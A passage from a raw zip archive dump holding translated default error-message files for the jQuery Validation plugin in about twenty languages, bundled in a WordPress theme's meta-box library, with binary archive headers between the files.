return $;
}));PK     N\ ׇ    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_el.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: EL (Greek; ελληνικά)
 */
$.extend( $.validator.messages, {
	required: "Αυτό το πεδίο είναι υποχρεωτικό.",
	remote: "Παρακαλώ διορθώστε αυτό το πεδίο.",
	email: "Παρακαλώ εισάγετε μια έγκυρη διεύθυνση email.",
	url: "Παρακαλώ εισάγετε ένα έγκυρο URL.",
	date: "Παρακαλώ εισάγετε μια έγκυρη ημερομηνία.",
	dateISO: "Παρακαλώ εισάγετε μια έγκυρη ημερομηνία (ISO).",
	number: "Παρακαλώ εισάγετε έναν έγκυρο αριθμό.",
	digits: "Παρακαλώ εισάγετε μόνο αριθμητικά ψηφία.",
	creditcard: "Παρακαλώ εισάγετε έναν έγκυρο αριθμό πιστωτικής κάρτας.",
	equalTo: "Παρακαλώ εισάγετε την ίδια τιμή ξανά.",
	extension: "Παρακαλώ εισάγετε μια τιμή με έγκυρη επέκταση αρχείου.",
	maxlength: $.validator.format( "Παρακαλώ εισάγετε μέχρι και {0} χαρακτήρες." ),
	minlength: $.validator.format( "Παρακαλώ εισάγετε τουλάχιστον {0} χαρακτήρες." ),
	rangelength: $.validator.format( "Παρακαλώ εισάγετε μια τιμή με μήκος μεταξύ {0} και {1} χαρακτήρων." ),
	range: $.validator.format( "Παρακαλώ εισάγετε μια τιμή μεταξύ {0} και {1}." ),
	max: $.validator.format( "Παρακαλώ εισάγετε μια τιμή μικρότερη ή ίση του {0}." ),
	min: $.validator.format( "Παρακαλώ εισάγετε μια τιμή μεγαλύτερη ή ίση του {0}." )
} );
return $;
}));PK     N\    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_tj.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: TJ (Tajikistan; Забони тоҷикӣ)
 */
$.extend( $.validator.messages, {
	required: "Ворид кардани ин филд маҷбури аст.",
	remote: "Илтимос, маълумоти саҳеҳ ворид кунед.",
	email: "Илтимос, почтаи электронии саҳеҳ ворид кунед.",
	url: "Илтимос, URL адреси саҳеҳ ворид кунед.",
	date: "Илтимос, таърихи саҳеҳ ворид кунед.",
	dateISO: "Илтимос, таърихи саҳеҳи (ISO)ӣ ворид кунед.",
	number: "Илтимос, рақамҳои саҳеҳ ворид кунед.",
	digits: "Илтимос, танҳо рақам ворид кунед.",
	creditcard: "Илтимос, кредит карди саҳеҳ ворид кунед.",
	equalTo: "Илтимос, миқдори баробар ворид кунед.",
	extension: "Илтимос, қофияи файлро дуруст интихоб кунед.",
	maxlength: $.validator.format( "Илтимос, бештар аз {0} рамз ворид накунед." ),
	minlength: $.validator.format( "Илтимос, камтар аз {0} рамз ворид накунед." ),
	rangelength: $.validator.format( "Илтимос, камтар аз {0} ва зиёда аз {1} рамз ворид кунед." ),
	range: $.validator.format( "Илтимос, аз {0} то {1} рақам зиёд ворид кунед." ),
	max: $.validator.format( "Илтимос, бештар аз {0} рақам ворид накунед." ),
	min: $.validator.format( "Илтимос, камтар аз {0} рақам ворид накунед." )
} );
return $;
}));PK     N\*&    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_ja.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: JA (Japanese; 日本語)
 */
$.extend( $.validator.messages, {
	required: "このフィールドは必須です。",
	remote: "このフィールドを修正してください。",
	email: "有効なEメールアドレスを入力してください。",
	url: "有効なURLを入力してください。",
	date: "有効な日付を入力してください。",
	dateISO: "有効な日付（ISO）を入力してください。",
	number: "有効な数字を入力してください。",
	digits: "数字のみを入力してください。",
	creditcard: "有効なクレジットカード番号を入力してください。",
	equalTo: "同じ値をもう一度入力してください。",
	extension: "有効な拡張子を含む値を入力してください。",
	maxlength: $.validator.format( "{0} 文字以内で入力してください。" ),
	minlength: $.validator.format( "{0} 文字以上で入力してください。" ),
	rangelength: $.validator.format( "{0} 文字から {1} 文字までの値を入力してください。" ),
	range: $.validator.format( "{0} から {1} までの値を入力してください。" ),
	step: $.validator.format( "{0} の倍数を入力してください。" ),
	max: $.validator.format( "{0} 以下の値を入力してください。" ),
	min: $.validator.format( "{0} 以上の値を入力してください。" )
} );
return $;
}));PK     N\I#Ĝ    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_bg.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: BG (Bulgarian; български език)
 */
$.extend( $.validator.messages, {
	required: "Полето е задължително.",
	remote: "Моля, въведете правилната стойност.",
	email: "Моля, въведете валиден email.",
	url: "Моля, въведете валидно URL.",
	date: "Моля, въведете валидна дата.",
	dateISO: "Моля, въведете валидна дата (ISO).",
	number: "Моля, въведете валиден номер.",
	digits: "Моля, въведете само цифри.",
	creditcard: "Моля, въведете валиден номер на кредитна карта.",
	equalTo: "Моля, въведете същата стойност отново.",
	extension: "Моля, въведете стойност с валидно разширение.",
	maxlength: $.validator.format( "Моля, въведете не повече от {0} символа." ),
	minlength: $.validator.format( "Моля, въведете поне {0} символа." ),
	rangelength: $.validator.format( "Моля, въведете стойност с дължина между {0} и {1} символа." ),
	range: $.validator.format( "Моля, въведете стойност между {0} и {1}." ),
	max: $.validator.format( "Моля, въведете стойност по-малка или равна на {0}." ),
	min: $.validator.format( "Моля, въведете стойност по-голяма или равна на {0}." )
} );
return $;
}));PK     N\q  q  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_ro.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: RO (Romanian, limba română)
 */
$.extend( $.validator.messages, {
	required: "Acest câmp este obligatoriu.",
	remote: "Te rugăm să completezi acest câmp.",
	email: "Te rugăm să introduci o adresă de email validă.",
	url: "Te rugăm sa introduci o adresă URL validă.",
	date: "Te rugăm să introduci o dată corectă.",
	dateISO: "Te rugăm să introduci o dată (ISO) corectă.",
	number: "Te rugăm să introduci un număr întreg valid.",
	digits: "Te rugăm să introduci doar cifre.",
	creditcard: "Te rugăm să introduci un numar de carte de credit valid.",
	equalTo: "Te rugăm să reintroduci valoarea.",
	extension: "Te rugăm să introduci o valoare cu o extensie validă.",
	maxlength: $.validator.format( "Te rugăm să nu introduci mai mult de {0} caractere." ),
	minlength: $.validator.format( "Te rugăm să introduci cel puțin {0} caractere." ),
	rangelength: $.validator.format( "Te rugăm să introduci o valoare între {0} și {1} caractere." ),
	range: $.validator.format( "Te rugăm să introduci o valoare între {0} și {1}." ),
	max: $.validator.format( "Te rugăm să introduci o valoare egal sau mai mică decât {0}." ),
	min: $.validator.format( "Te rugăm să introduci o valoare egal sau mai mare decât {0}." )
} );
return $;
}));PK     N\|^
  ^
  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_ka.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: KA (Georgian; ქართული)
 */
$.extend( $.validator.messages, {
	required: "ამ ველის შევსება აუცილებელია.",
	remote: "გთხოვთ მიუთითოთ სწორი მნიშვნელობა.",
	email: "გთხოვთ მიუთითოთ ელ-ფოსტის კორექტული მისამართი.",
	url: "გთხოვთ მიუთითოთ კორექტული URL.",
	date: "გთხოვთ მიუთითოთ კორექტული თარიღი.",
	dateISO: "გთხოვთ მიუთითოთ კორექტული თარიღი ISO ფორმატში.",
	number: "გთხოვთ მიუთითოთ ციფრი.",
	digits: "გთხოვთ მიუთითოთ მხოლოდ ციფრები.",
	creditcard: "გთხოვთ მიუთითოთ საკრედიტო ბარათის კორექტული ნომერი.",
	equalTo: "გთხოვთ მიუთითოთ ასეთივე მნიშვნელობა კიდევ ერთხელ.",
	extension: "გთხოვთ აირჩიოთ ფაილი კორექტული გაფართოებით.",
	maxlength: $.validator.format( "დასაშვებია არაუმეტეს {0} სიმბოლო." ),
	minlength: $.validator.format( "აუცილებელია შეიყვანოთ მინიმუმ {0} სიმბოლო." ),
	rangelength: $.validator.format( "ტექსტში სიმბოლოების რაოდენობა უნდა იყოს {0}-დან {1}-მდე." ),
	range: $.validator.format( "გთხოვთ შეიყვანოთ ციფრი {0}-დან {1}-მდე." ),
	max: $.validator.format( "გთხოვთ შეიყვანოთ ციფრი რომელიც ნაკლებია ან უდრის {0}-ს." ),
	min: $.validator.format( "გთხოვთ შეიყვანოთ ციფრი რომელიც მეტია ან უდრის {0}-ს." )
} );
return $;
}));PK     N\#M^E    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_sl.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Language: SL (Slovenian; slovenski jezik)
 */
$.extend( $.validator.messages, {
	required: "To polje je obvezno.",
	remote: "Prosimo popravite to polje.",
	email: "Prosimo vnesite veljaven email naslov.",
	url: "Prosimo vnesite veljaven URL naslov.",
	date: "Prosimo vnesite veljaven datum.",
	dateISO: "Prosimo vnesite veljaven ISO datum.",
	number: "Prosimo vnesite veljavno število.",
	digits: "Prosimo vnesite samo števila.",
	creditcard: "Prosimo vnesite veljavno številko kreditne kartice.",
	equalTo: "Prosimo ponovno vnesite vrednost.",
	extension: "Prosimo vnesite vrednost z veljavno končnico.",
	maxlength: $.validator.format( "Prosimo vnesite največ {0} znakov." ),
	minlength: $.validator.format( "Prosimo vnesite najmanj {0} znakov." ),
	rangelength: $.validator.format( "Prosimo vnesite najmanj {0} in največ {1} znakov." ),
	range: $.validator.format( "Prosimo vnesite vrednost med {0} in {1}." ),
	max: $.validator.format( "Prosimo vnesite vrednost manjše ali enako {0}." ),
	min: $.validator.format( "Prosimo vnesite vrednost večje ali enako {0}." )
} );
return $;
}));PK     N\kU    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_pl.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: PL (Polish; język polski, polszczyzna)
 */
$.extend( $.validator.messages, {
	required: "To pole jest wymagane.",
	remote: "Proszę o wypełnienie tego pola.",
	email: "Proszę o podanie prawidłowego adresu email.",
	url: "Proszę o podanie prawidłowego URL.",
	date: "Proszę o podanie prawidłowej daty.",
	dateISO: "Proszę o podanie prawidłowej daty (ISO).",
	number: "Proszę o podanie prawidłowej liczby.",
	digits: "Proszę o podanie samych cyfr.",
	creditcard: "Proszę o podanie prawidłowej karty kredytowej.",
	equalTo: "Proszę o podanie tej samej wartości ponownie.",
	extension: "Proszę o podanie wartości z prawidłowym rozszerzeniem.",
	nipPL: "Proszę o podanie prawidłowego numeru NIP.",
	phonePL: "Proszę o podanie prawidłowego numeru telefonu.",
	maxlength: $.validator.format( "Proszę o podanie nie więcej niż {0} znaków." ),
	minlength: $.validator.format( "Proszę o podanie przynajmniej {0} znaków." ),
	rangelength: $.validator.format( "Proszę o podanie wartości o długości od {0} do {1} znaków." ),
	range: $.validator.format( "Proszę o podanie wartości z przedziału od {0} do {1}." ),
	max: $.validator.format( "Proszę o podanie wartości mniejszej bądź równej {0}." ),
	min: $.validator.format( "Proszę o podanie wartości większej bądź równej {0}." ),
	pattern: $.validator.format( "Pole zawiera niedozwolone znaki." )
} );
return $;
}));PK     N\l.    ?  inc/dashboard/lib/meta-box/js/validation/i18n/messages_hy_AM.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: HY_AM (Armenian; հայերեն լեզու)
 */
$.extend( $.validator.messages, {
	required: "Պարտադիր լրացման դաշտ",
	remote: "Ներմուծեք ճիշտ արժեքը",
	email: "Ներմուծեք վավեր էլեկտրոնային փոստի հասցե",
	url: "Ներմուծեք վավեր URL",
	date: "Ներմուծեք վավեր ամսաթիվ",
	dateISO: "Ներմուծեք ISO ֆորմատով վավեր ամսաթիվ։",
	number: "Ներմուծեք թիվ",
	digits: "Ներմուծեք միայն թվեր",
	creditcard: "Ներմուծեք ճիշտ բանկային քարտի համար",
	equalTo: "Ներմուծեք միևնուն արժեքը ևս մեկ անգամ",
	extension: "Ընտրեք ճիշտ ընդլանումով ֆայլ",
	maxlength: $.validator.format( "Ներմուծեք ոչ ավել քան {0} նիշ" ),
	minlength: $.validator.format( "Ներմուծեք ոչ պակաս քան {0} նիշ" ),
	rangelength: $.validator.format( "Ներմուծեք {0}֊ից {1} երկարությամբ արժեք" ),
	range: $.validator.format( "Ներմուծեք թիվ {0}֊ից {1} միջակայքում" ),
	max: $.validator.format( "Ներմուծեք թիվ, որը փոքր կամ հավասար է {0}֊ին" ),
	min: $.validator.format( "Ներմուծեք թիվ, որը մեծ կամ հավասար է {0}֊ին" )
} );
return $;
}));PK     N\    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_th.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: TH (Thai; ไทย)
 */
$.extend( $.validator.messages, {
	required: "โปรดระบุ",
	remote: "โปรดแก้ไขให้ถูกต้อง",
	email: "โปรดระบุที่อยู่อีเมล์ที่ถูกต้อง",
	url: "โปรดระบุ URL ที่ถูกต้อง",
	date: "โปรดระบุวันที่ ที่ถูกต้อง",
	dateISO: "โปรดระบุวันที่ ที่ถูกต้อง (ระบบ ISO).",
	number: "โปรดระบุทศนิยมที่ถูกต้อง",
	digits: "โปรดระบุจำนวนเต็มที่ถูกต้อง",
	creditcard: "โปรดระบุรหัสบัตรเครดิตที่ถูกต้อง",
	equalTo: "โปรดระบุค่าเดิมอีกครั้ง",
	extension: "โปรดระบุค่าที่มีส่วนขยายที่ถูกต้อง",
	maxlength: $.validator.format( "โปรดอย่าระบุค่าที่ยาวกว่า {0} อักขระ" ),
	minlength: $.validator.format( "โปรดอย่าระบุค่าที่สั้นกว่า {0} อักขระ" ),
	rangelength: $.validator.format( "โปรดอย่าระบุค่าความยาวระหว่าง {0} ถึง {1} อักขระ" ),
	range: $.validator.format( "โปรดระบุค่าระหว่าง {0} และ {1}" ),
	max: $.validator.format( "โปรดระบุค่าน้อยกว่าหรือเท่ากับ {0}" ),
	min: $.validator.format( "โปรดระบุค่ามากกว่าหรือเท่ากับ {0}" )
} );
return $;
}));PK     N\\	  	  <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_ge.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/**
 * @author  @tatocaster <kutaliatato@gmail.com>
 * Translated default messages for the jQuery validation plugin.
 * Locale: GE (Georgian; ქართული)
 */
$.extend( $.validator.messages, {
	required: "ეს ველი სავალდებულოა.",
	remote: "გთხოვთ შეასწოროთ.",
	email: "გთხოვთ შეიყვანოთ სწორი ფორმატით.",
	url: "გთხოვთ შეიყვანოთ სწორი ფორმატით.",
	date: "გთხოვთ შეიყვანოთ სწორი თარიღი.",
	dateISO: "გთხოვთ შეიყვანოთ სწორი ფორმატით (ISO).",
	number: "გთხოვთ შეიყვანოთ რიცხვი.",
	digits: "დაშვებულია მხოლოდ ციფრები.",
	creditcard: "გთხოვთ შეიყვანოთ სწორი ფორმატის ბარათის კოდი.",
	equalTo: "გთხოვთ შეიყვანოთ იგივე მნიშვნელობა.",
	maxlength: $.validator.format( "გთხოვთ შეიყვანოთ არა უმეტეს {0} სიმბოლოსი." ),
	minlength: $.validator.format( "შეიყვანეთ მინიმუმ {0} სიმბოლო." ),
	rangelength: $.validator.format( "გთხოვთ შეიყვანოთ {0} -დან {1} -მდე რაოდენობის სიმბოლოები." ),
	range: $.validator.format( "შეიყვანეთ {0} -სა {1} -ს შორის." ),
	max: $.validator.format( "გთხოვთ შეიყვანოთ მნიშვნელობა ნაკლები ან ტოლი {0} -ს." ),
	min: $.validator.format( "გთხოვთ შეიყვანოთ მნიშვნელობა მეტი ან ტოლი {0} -ს." )
} );
return $;
}));PK     N\t    ?  inc/dashboard/lib/meta-box/js/validation/i18n/messages_bn_BD.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: bn_BD (Bengali, Bangladesh)
 */
$.extend( $.validator.messages, {
	required: "এই তথ্যটি আবশ্যক।",
	remote: "এই তথ্যটি ঠিক করুন।",
	email: "অনুগ্রহ করে একটি সঠিক মেইল ঠিকানা লিখুন।",
	url: "অনুগ্রহ করে একটি সঠিক লিঙ্ক দিন।",
	date: "তারিখ সঠিক নয়।",
	dateISO: "অনুগ্রহ করে একটি সঠিক (ISO) তারিখ লিখুন।",
	number: "অনুগ্রহ করে একটি সঠিক নম্বর লিখুন।",
	digits: "এখানে শুধু সংখ্যা ব্যবহার করা যাবে।",
	creditcard: "অনুগ্রহ করে একটি ক্রেডিট কার্ডের সঠিক নম্বর লিখুন।",
	equalTo: "একই মান আবার লিখুন।",
	extension: "সঠিক ধরনের ফাইল আপলোড করুন।",
	maxlength: $.validator.format( "{0}টির বেশি অক্ষর লেখা যাবে না।" ),
	minlength: $.validator.format( "{0}টির কম অক্ষর লেখা যাবে না।" ),
	rangelength: $.validator.format( "{0} থেকে {1} টি অক্ষর সম্বলিত মান লিখুন।" ),
	range: $.validator.format( "{0} থেকে {1} এর মধ্যে একটি মান ব্যবহার করুন।" ),
	max: $.validator.format( "অনুগ্রহ করে {0} বা তার চাইতে কম মান ব্যবহার করুন।" ),
	min: $.validator.format( "অনুগ্রহ করে {0} বা তার চাইতে বেশি মান ব্যবহার করুন।" )
} );
return $;
}));PK     N\	Er    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_tr.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: TR (Turkish; Türkçe)
 */
$.extend( $.validator.messages, {
	required: "Bu alanın doldurulması zorunludur.",
	remote: "Lütfen bu alanı düzeltin.",
	email: "Lütfen geçerli bir e-posta adresi giriniz.",
	url: "Lütfen geçerli bir web adresi (URL) giriniz.",
	date: "Lütfen geçerli bir tarih giriniz.",
	dateISO: "Lütfen geçerli bir tarih giriniz(ISO formatında).",
	number: "Lütfen geçerli bir sayı giriniz.",
	digits: "Lütfen sadece sayısal karakterler giriniz.",
	creditcard: "Lütfen geçerli bir kredi kartı giriniz.",
	equalTo: "Lütfen aynı değeri tekrar giriniz.",
	extension: "Lütfen geçerli uzantıya sahip bir değer giriniz.",
	phone: "Lütfen geçerli bir telefon numarası giriniz.",
	maxlength: $.validator.format( "Lütfen en fazla {0} karakter uzunluğunda bir değer giriniz." ),
	minlength: $.validator.format( "Lütfen en az {0} karakter uzunluğunda bir değer giriniz." ),
	rangelength: $.validator.format( "Lütfen en az {0} ve en fazla {1} uzunluğunda bir değer giriniz." ),
	range: $.validator.format( "Lütfen {0} ile {1} arasında bir değer giriniz." ),
	max: $.validator.format( "Lütfen {0} değerine eşit ya da daha küçük bir değer giriniz." ),
	min: $.validator.format( "Lütfen {0} değerine eşit ya da daha büyük bir değer giriniz." ),
	require_from_group: $.validator.format( "Lütfen bu alanların en az {0} tanesini doldurunuz." )
} );
return $;
}));PK     N\ؼ    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_ko.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: KO (Korean; 한국어)
 */
$.extend( $.validator.messages, {
	required: "필수 항목입니다.",
	remote: "항목을 수정하세요.",
	email: "유효하지 않은 E-Mail주소입니다.",
	url: "유효하지 않은 URL입니다.",
	date: "올바른 날짜를 입력하세요.",
	dateISO: "올바른 날짜(ISO)를 입력하세요.",
	number: "유효한 숫자가 아닙니다.",
	digits: "숫자만 입력 가능합니다.",
	creditcard: "신용카드 번호가 바르지 않습니다.",
	equalTo: "같은 값을 다시 입력하세요.",
	extension: "올바른 확장자가 아닙니다.",
	maxlength: $.validator.format( "{0}자를 넘을 수 없습니다. " ),
	minlength: $.validator.format( "{0}자 이상 입력하세요." ),
	rangelength: $.validator.format( "문자 길이가 {0} 에서 {1} 사이의 값을 입력하세요." ),
	range: $.validator.format( "{0} 에서 {1} 사이의 값을 입력하세요." ),
	max: $.validator.format( "{0} 이하의 값을 입력하세요." ),
	min: $.validator.format( "{0} 이상의 값을 입력하세요." )
} );
return $;
}));PK     N\^,6    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_cs.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: CS (Czech; čeština, český jazyk)
 */
$.extend( $.validator.messages, {
	required: "Tento údaj je povinný.",
	remote: "Prosím, opravte tento údaj.",
	email: "Prosím, zadejte platný e-mail.",
	url: "Prosím, zadejte platné URL.",
	date: "Prosím, zadejte platné datum.",
	dateISO: "Prosím, zadejte platné datum (ISO).",
	number: "Prosím, zadejte číslo.",
	digits: "Prosím, zadávejte pouze číslice.",
	creditcard: "Prosím, zadejte číslo kreditní karty.",
	equalTo: "Prosím, zadejte znovu stejnou hodnotu.",
	extension: "Prosím, zadejte soubor se správnou příponou.",
	maxlength: $.validator.format( "Prosím, zadejte nejvíce {0} znaků." ),
	minlength: $.validator.format( "Prosím, zadejte nejméně {0} znaků." ),
	rangelength: $.validator.format( "Prosím, zadejte od {0} do {1} znaků." ),
	range: $.validator.format( "Prosím, zadejte hodnotu od {0} do {1}." ),
	max: $.validator.format( "Prosím, zadejte hodnotu menší nebo rovnu {0}." ),
	min: $.validator.format( "Prosím, zadejte hodnotu větší nebo rovnu {0}." ),
	step: $.validator.format( "Musí být násobkem čísla {0}." )
} );
return $;
}));PK     N\֖J]  ]  ?  inc/dashboard/lib/meta-box/js/validation/i18n/messages_zh_TW.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: ZH (Chinese; 中文 (Zhōngwén), 汉语, 漢語)
 * Region: TW (Taiwan)
 */
$.extend( $.validator.messages, {
	required: "必須填寫",
	remote: "請修正此欄位",
	email: "請輸入有效的電子郵件",
	url: "請輸入有效的網址",
	date: "請輸入有效的日期",
	dateISO: "請輸入有效的日期 (YYYY-MM-DD)",
	number: "請輸入正確的數值",
	digits: "只可輸入數字",
	creditcard: "請輸入有效的信用卡號碼",
	equalTo: "請重複輸入一次",
	extension: "請輸入有效的後綴",
	maxlength: $.validator.format( "最多 {0} 個字" ),
	minlength: $.validator.format( "最少 {0} 個字" ),
	rangelength: $.validator.format( "請輸入長度為 {0} 至 {1} 之間的字串" ),
	range: $.validator.format( "請輸入 {0} 至 {1} 之間的數值" ),
	step: $.validator.format( "請輸入 {0} 的整數倍值" ),
	max: $.validator.format( "請輸入不大於 {0} 的數值" ),
	min: $.validator.format( "請輸入不小於 {0} 的數值" )
} );
return $;
}));PK     N\(    <  inc/dashboard/lib/meta-box/js/validation/i18n/messages_ur.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: UR (Urdu; اردو)
 */
$.extend( $.validator.messages, {
	required: "ان معلومات کا اندراج ضروری ہے",
	remote: "ان معلومات کا اندراج ضروری ہے",
	email: "درج کی ہوئی ای میل درست نہیں ہے",
	url: "درج کیا گیا پتہ درست نہیں ہے",
	date: "درج کی گئی تاریخ درست نہیں ہے",
	dateISO: "معیار کے مطابق نہیں ہے (ISO) درج کی گئی تاریخ",
	number: "درج کیےگئے ہندسے درست نہیں ہیں",
	digits: "صرف ہندسے اندراج کئے جاسکتے ہیں",
	creditcard: "درج کیا گیا کارڈ نمبر درست نہیں ہے",
	equalTo: "اندراج کا موازنہ درست نہیں ہے",
	extension: "اندراج درست نہیں ہے",
	maxlength: $.validator.format( "زیادہ سے زیادہ {0} کا اندراج کر سکتے ہیں" ),
	minlength: $.validator.format( "کم سے کم {0} کا اندراج کرنا ضروری ہے" ),
	rangelength: $.validator.format( "اندراج کا {0} اور {1}کے درمیان ہونا ضروری ہے" ),
	range: $.validator.format( "اندراج کا {0} اور {1} کے درمیان ہونا ضروری ہے" ),
	max: $.validator.format( "زیادہ سے زیادہ {0} کا اندراج کر سکتے ہیں" ),
	min: $.validator.format( "کم سے کم {0} کا اندراج کرنا ضروری ہے" )
} );
return $;
}));PK     N\:A  A  ?  inc/dashboard/lib/meta-box/js/validation/i18n/messages_pt_BR.jsnu [        (function( factory ) {
	if ( typeof define === "function" && define.amd ) {
		define( ["jquery", "../jquery.validate"], factory );
	} else if (typeof module === "object" && module.exports) {
		module.exports = factory( require( "jquery" ) );
	} else {
		factory( jQuery );
	}
}(function( $ ) {

/*
 * Translated default messages for the jQuery validation plugin.
 * Locale: PT (Portuguese; português)
 * Region: BR (Brazil)
 */
$.extend( $.validator.messages, {

	// Core
	required: "Este campo &eacute; obrigat&oacute;rio.",
	remote: "Por favor, corrija este campo.",
	email: "Por favor, forne&ccedil;a um endere&ccedil;o de email v&aacute;lido.",
	url: "Por favor, forne&ccedil;a uma URL v&aacute;lida.",
	date: "Por favor, forne&ccedil;a uma data v&aacute;lida.",
	dateISO: "Por favor, forne&ccedil;a uma data v&aacute;lida (ISO).",
	number: "Por favor, forne&ccedil;a um n&uacute;mero v&aacute;lido.",
	digits: "Por favor, forne&ccedil;a somente d&iacute;gitos.",
	creditcard: "Por favor, forne&ccedil;a um cart&atilde;o de cr&eacute;dito v&aacute;lido.",
	equalTo: "Por favor, forne&ccedil;a o mesmo valor novamente.",
	maxlength: $.validator.format( "Por favor, forne&ccedil;a n&atilde;o mais que {0} caracteres." ),
	minlength: $.validator.format( "Por favor, forne&ccedil;a ao menos {0} caracteres." ),
	rangelength: $.validator.format( "Por favor, forne&ccedil;a um valor entre {0} e {1} caracteres de comprimento." ),
	range: $.validator.format( "Por favor, forne&ccedil;a um valor entre {0} e {1}." ),
	max: $.validator.format( "Por favor, forne&ccedil;a um valor menor ou igual a {0}." ),
	min: $.validator.format( "Por favor, forne&ccedil;a um valor maior ou igual a {0}." ),
	step: $.validator.format( "Por favor, forne&ccedil;a um valor m&uacute;ltiplo de {0}." ),

	// Metodos Adicionais
	maxWords: $.validator.format( "Por favor, forne&ccedil;a com {0} palavras ou menos." ),
	minWords: $.validator.format( "Por favor, forne&ccedil;a pelo menos {0} palavras." ),
	rangeWords: $.validator.format( "Por favor, forne&ccedil;a entre {0} e {1} palavras." ),
	accept: "Por favor, forne&ccedil;a um tipo v&aacute;lido.",
